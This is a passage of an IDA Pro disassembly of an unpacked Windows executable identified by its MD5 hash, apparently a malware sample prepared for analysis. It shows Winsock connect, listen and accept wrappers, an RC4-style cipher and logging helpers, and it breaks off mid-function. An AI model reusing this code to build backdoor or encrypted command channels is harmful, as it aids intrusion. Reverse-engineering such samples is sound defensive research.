; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E9A89B8E90BD53114CF872089D72EF5F ; File Name : u:\work\e9a89b8e90bd53114cf872089d72ef5f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00040000 ( 262144.) ; Section size in file : 00040000 ( 262144.) ; Offset to raw data for section: 00001000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write DMN0 segment para public 'DATA' use32 assume cs:DMN0 ;org 401000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401001 proc near ; CODE XREF: sub_40400E+3Fp ; sub_404967+6Bp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_401013 ; --------------------------------------------------------------------------- loc_40100B: ; CODE XREF: sub_401001+14j call dword_411CC4 ; GetTickCount mov esi, eax loc_401013: ; CODE XREF: sub_401001+8j test esi, esi jz short loc_40100B mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_40102F inc dword ptr [ebx] loc_40102F: ; CODE XREF: sub_401001+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_401001 endp ; =============== S U B R O U T I N E ======================================= sub_40103C proc near ; CODE XREF: sub_4066F1+20p push offset dword_41285C call dword_411CC8 ; InitializeCriticalSection retn sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401048 proc near ; CODE XREF: sub_40122A+35p ; sub_4019C3+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push 1 mov eax, [ebp+arg_0] push eax call sub_406D40 pop ecx pop ecx mov ebx, eax push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection mov eax, ebx pop ebx pop ebp retn sub_401048 endp ; =============== S U B R O U T I N E ======================================= sub_401076 proc near ; CODE XREF: sub_40122A+1Fp ; sub_401A3B+Bp ... arg_0 = dword ptr 4 push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push [esp+arg_0] call sub_4070F0 pop ecx push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection retn sub_401076 endp ; =============== S U B R O U T I N E ======================================= sub_401097 proc near ; CODE XREF: sub_4066F1+2Ap push offset dword_412874 call dword_411CC8 ; InitializeCriticalSection retn sub_401097 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_40115E push 0FFFFFFF5h call dword_411CD4 ; GetStdHandle cmp eax, 0FFFFFFFFh jz loc_40115E push offset dword_412874 call dword_411CCC ; RtlEnterCriticalSection lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_4071C0 add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_401140 push 1 lea eax, [ebx+80h] push eax call sub_406D40 pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_4071C0 add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_407260 pop ecx pop ecx push esi call sub_4070F0 pop ecx jmp short loc_401153 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: DMN0:00401100j lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_407260 pop ecx pop ecx loc_401153: ; CODE XREF: DMN0:0040113Ej push offset dword_412874 call dword_411CD0 ; RtlLeaveCriticalSection loc_40115E: ; CODE XREF: DMN0:004010B6j ; DMN0:004010CCj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_401165 proc near ; CODE XREF: sub_4066F1+25p push offset dword_41288C call dword_411CC8 ; InitializeCriticalSection retn sub_401165 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CD8 ; GetLocalTime cmp word ptr [ebp-8], 0Ch jnb short loc_401190 mov ebx, offset aAm ; "AM" jmp short loc_401195 ; --------------------------------------------------------------------------- loc_401190: ; CODE XREF: DMN0:00401187j mov ebx, offset aPm ; "PM" loc_401195: ; CODE XREF: DMN0:0040118Ej push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_4072C0 add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_41288C call dword_411CCC ; RtlEnterCriticalSection push offset aA ; "a" push dword ptr [ebp+8] call sub_407300 pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_40121A lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_4073B0 add esp, 0Ch push ebx call sub_407560 pop ecx loc_40121A: ; CODE XREF: DMN0:004011FCj push offset dword_41288C call dword_411CD0 ; RtlLeaveCriticalSection pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40122A proc near ; CODE XREF: sub_4066F1+4Bp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_40124F ; --------------------------------------------------------------------------- loc_401237: ; CODE XREF: sub_40122A+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A4[eax*4] call sub_401076 pop ecx loc_40124F: ; CODE XREF: sub_40122A+Bj cmp dword_411000, 0 jnz short loc_401237 jmp short loc_4012CB ; --------------------------------------------------------------------------- loc_40125A: ; CODE XREF: sub_40122A+ADj push 401h call sub_401048 pop ecx mov edx, dword_411000 mov dword_4128A4[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_40127E inc ebx mov [ebp+var_1], 22h jmp short loc_401282 ; --------------------------------------------------------------------------- loc_40127E: ; CODE XREF: sub_40122A+4Bj mov [ebp+var_1], 20h loc_401282: ; CODE XREF: sub_40122A+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A4[eax*4] jmp short loc_4012A3 ; --------------------------------------------------------------------------- loc_40129D: ; CODE XREF: sub_40122A+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_4012A3: ; CODE XREF: sub_40122A+71j mov al, [ebx] test al, al jz short loc_4012B7 cmp al, [ebp+var_1] jz short loc_4012B7 cmp [ebp+var_8], 400h jl short loc_40129D loc_4012B7: ; CODE XREF: sub_40122A+7Dj ; sub_40122A+82j cmp [ebp+var_1], 22h jnz short loc_4012C6 cmp byte ptr [ebx], 22h jnz short loc_4012C6 inc ebx jmp short loc_4012C6 ; --------------------------------------------------------------------------- loc_4012C5: ; CODE XREF: sub_40122A+9Fj inc ebx loc_4012C6: ; CODE XREF: sub_40122A+91j ; sub_40122A+96j ... cmp byte ptr [ebx], 20h jz short loc_4012C5 loc_4012CB: ; CODE XREF: sub_40122A+2Ej cmp byte ptr [ebx], 0 jz short loc_4012D9 cmp dword_411000, 20h jl short loc_40125A loc_4012D9: ; CODE XREF: sub_40122A+A4j mov eax, dword_411000 and dword_4128A4[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_40122A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4012EC proc near ; CODE XREF: sub_4066F1+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_406CAE ; WSAStartup mov esi, eax test esi, esi jz short loc_40133C mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_406CAE ; WSAStartup mov esi, eax test esi, esi jz short loc_40132F xor eax, eax jmp short loc_40134A ; --------------------------------------------------------------------------- loc_40132F: ; CODE XREF: sub_4012EC+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_2 pop ecx jmp short loc_401347 ; --------------------------------------------------------------------------- loc_40133C: ; CODE XREF: sub_4012EC+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_2 pop ecx loc_401347: ; CODE XREF: sub_4012EC+4Ej xor eax, eax inc eax loc_40134A: ; CODE XREF: sub_4012EC+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_4012EC endp ; --------------------------------------------------------------------------- call sub_406CB4 ; WSACleanup xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401359 proc near ; CODE XREF: sub_402896+BDp ; sub_403C3F+DCp ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_406CBA ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401377 xor eax, eax jmp short loc_4013CD ; --------------------------------------------------------------------------- loc_401377: ; CODE XREF: sub_401359+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_406CC0 ; setsockopt mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_406CC0 ; setsockopt mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_406CC0 ; setsockopt mov eax, ebx loc_4013CD: ; CODE XREF: sub_401359+1Cj pop ebx mov esp, ebp pop ebp retn sub_401359 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_406CBA ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4013F0 xor eax, eax jmp short loc_401451 ; --------------------------------------------------------------------------- loc_4013F0: ; CODE XREF: DMN0:004013EAj imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_406CC0 ; setsockopt imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_406CC0 ; setsockopt xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_406CC0 ; setsockopt mov eax, ebx loc_401451: ; CODE XREF: DMN0:004013EEj pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_406CC0 ; setsockopt imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_406CC0 ; setsockopt xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_406CC0 ; setsockopt pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4014C2 proc near ; CODE XREF: sub_4025A9+15Dp ; sub_4025A9+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_406CC6 ; closesocket xor eax, eax inc eax retn sub_4014C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014CF proc near ; CODE XREF: sub_4042CD+567p ; sub_4042CD+5E1p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_401511 mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_401511: ; CODE XREF: sub_4014CF+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_406CCC ; select mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_40153C test esi, esi jnz short loc_401539 xor eax, eax jmp short loc_40153C ; --------------------------------------------------------------------------- loc_401539: ; CODE XREF: sub_4014CF+64j xor eax, eax inc eax loc_40153C: ; CODE XREF: sub_4014CF+60j ; sub_4014CF+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_4014CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401542 proc near ; CODE XREF: sub_402562+13p ; sub_4025A9+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_406CD2 ; ioctlsocket mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_401562 mov eax, [ebp+var_4] loc_401562: ; CODE XREF: sub_401542+1Bj pop ebx mov esp, ebp pop ebp retn sub_401542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401567 proc near ; CODE XREF: sub_4025A9+14Ep ; sub_402896+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_406CD8 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_406CDE ; connect cmp eax, 0FFFFFFFFh jnz short loc_4015AF xor eax, eax jmp short loc_4015B2 ; --------------------------------------------------------------------------- loc_4015AF: ; CODE XREF: sub_401567+42j xor eax, eax inc eax loc_4015B2: ; CODE XREF: sub_401567+46j pop ebx mov esp, ebp pop ebp retn sub_401567 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B7 proc near ; CODE XREF: sub_404967+A7p ; sub_405CF6+2Bp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_406CD8 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_406CE4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4015FF xor eax, eax jmp short loc_401602 ; --------------------------------------------------------------------------- loc_4015FF: ; CODE XREF: sub_4015B7+42j xor eax, eax inc eax loc_401602: ; CODE XREF: sub_4015B7+46j pop ebx mov esp, ebp pop ebp retn sub_4015B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401607 proc near ; CODE XREF: sub_404967+1D1p ; sub_405CF6+48p arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_406CEA ; listen test eax, eax jge short loc_40161C xor eax, eax jmp short loc_40161F ; --------------------------------------------------------------------------- loc_40161C: ; CODE XREF: sub_401607+Fj xor eax, eax inc eax loc_40161F: ; CODE XREF: sub_401607+13j pop ebp retn sub_401607 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; CODE XREF: sub_405CF6+63p var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_406CF0 ; accept mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401664 xor eax, eax jmp short loc_401666 ; --------------------------------------------------------------------------- loc_401664: ; CODE XREF: sub_401621+3Dj mov eax, ebx loc_401666: ; CODE XREF: sub_401621+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40166C proc near ; CODE XREF: sub_404967+1E9p var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4075D0 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_406CF0 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4016BE xor eax, eax jmp short loc_4016D5 ; --------------------------------------------------------------------------- loc_4016BE: ; CODE XREF: sub_40166C+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_406CF6 ; htons mov [ebx], ax mov eax, esi loc_4016D5: ; CODE XREF: sub_40166C+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40166C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016DC proc near ; CODE XREF: sub_401BAC+44p ; sub_401BAC+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_401707 ; --------------------------------------------------------------------------- loc_4016EA: ; CODE XREF: sub_4016DC+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_406CFC ; recv mov esi, eax test esi, esi jg short loc_401703 or eax, 0FFFFFFFFh jmp short loc_40170E ; --------------------------------------------------------------------------- loc_401703: ; CODE XREF: sub_4016DC+20j sub edi, esi add ebx, esi loc_401707: ; CODE XREF: sub_4016DC+Cj test edi, edi jg short loc_4016EA mov eax, [ebp+arg_8] loc_40170E: ; CODE XREF: sub_4016DC+25j pop edi pop esi pop ebx pop ebp retn sub_4016DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401713 proc near ; CODE XREF: sub_4025A9+1E3p ; sub_402896+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_401742 ; --------------------------------------------------------------------------- loc_401722: ; CODE XREF: sub_401713+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_406CFC ; recv mov esi, eax test esi, esi jle short loc_401746 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_401742: ; CODE XREF: sub_401713+Dj test edi, edi jg short loc_401722 loc_401746: ; CODE XREF: sub_401713+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_401713 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_40177C ; --------------------------------------------------------------------------- loc_40175C: ; CODE XREF: DMN0:0040177Ej push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_406CFC ; recv mov esi, eax test esi, esi jle short loc_401780 sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_40177C: ; CODE XREF: DMN0:0040175Aj test edi, edi jg short loc_40175C loc_401780: ; CODE XREF: DMN0:0040176Ej mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401787 proc near ; CODE XREF: sub_401ADA+97p ; sub_4025A9+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_4017B2 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401787+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_406D02 ; send mov esi, eax test esi, esi jg short loc_4017AE or eax, 0FFFFFFFFh jmp short loc_4017B9 ; --------------------------------------------------------------------------- loc_4017AE: ; CODE XREF: sub_401787+20j sub edi, esi add ebx, esi loc_4017B2: ; CODE XREF: sub_401787+Cj test edi, edi jg short loc_401795 mov eax, [ebp+arg_8] loc_4017B9: ; CODE XREF: sub_401787+25j pop edi pop esi pop ebx pop ebp retn sub_401787 endp ; =============== S U B R O U T I N E ======================================= sub_4017BE proc near ; CODE XREF: DMN0:00401882p ; sub_403C3F+30p ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_406D08 ; inet_addr mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4017F2 push [esp+8+arg_0] call sub_406D0E ; gethostbyname mov esi, eax test esi, esi jnz short loc_4017E9 or eax, 0FFFFFFFFh jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017E9: ; CODE XREF: sub_4017BE+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017F2: ; CODE XREF: sub_4017BE+15j mov eax, ebx loc_4017F4: ; CODE XREF: sub_4017BE+29j ; sub_4017BE+32j pop esi pop ebx retn sub_4017BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_4075D0 add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_406D14 ; getsockname mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401837 xor eax, eax jmp short loc_401852 ; --------------------------------------------------------------------------- loc_401837: ; CODE XREF: DMN0:00401831j mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_406CF6 ; htons mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_401852: ; CODE XREF: DMN0:00401835j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_406D1A ; gethostname lea eax, [ebp-400h] push eax call sub_4017BE pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_406D20 ; inet_ntoa mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_2 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018BB proc near ; CODE XREF: sub_401A55+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_4018DD: ; CODE XREF: sub_4018BB+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_4018DD and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_4018F1: ; CODE XREF: sub_4018BB+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_40192B and [ebp+var_8], 0 loc_40192B: ; CODE XREF: sub_4018BB+6Aj inc ecx cmp ecx, 100h jl short loc_4018F1 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40193B proc near ; CODE XREF: sub_401ADA+86p ; sub_401BAC+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_4019A2 ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: sub_40193B+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_4019A2: ; CODE XREF: sub_40193B+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_40195B mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40193B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019C3 proc near ; CODE XREF: sub_403C3F+EFp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_401048 pop ecx mov esi, eax push 10020h call sub_401048 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_4019ED: ; CODE XREF: sub_4019C3+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_4019ED mov [ebp+var_1], 0A5h xor ebx, ebx loc_401A0A: ; CODE XREF: sub_4019C3+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_401A0A mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4019C3 endp ; =============== S U B R O U T I N E ======================================= sub_401A3B proc near ; CODE XREF: sub_403C3F+37Fp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_401076 pop ecx push ebx call sub_401076 pop ecx pop ebx retn sub_401A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A55 proc near ; CODE XREF: sub_401ADA+27p ; sub_401BAC+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_4018BB add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_407630 add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_401AAD ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_401A55+5Bj lea eax, [ebx+esi+4] mov dl, 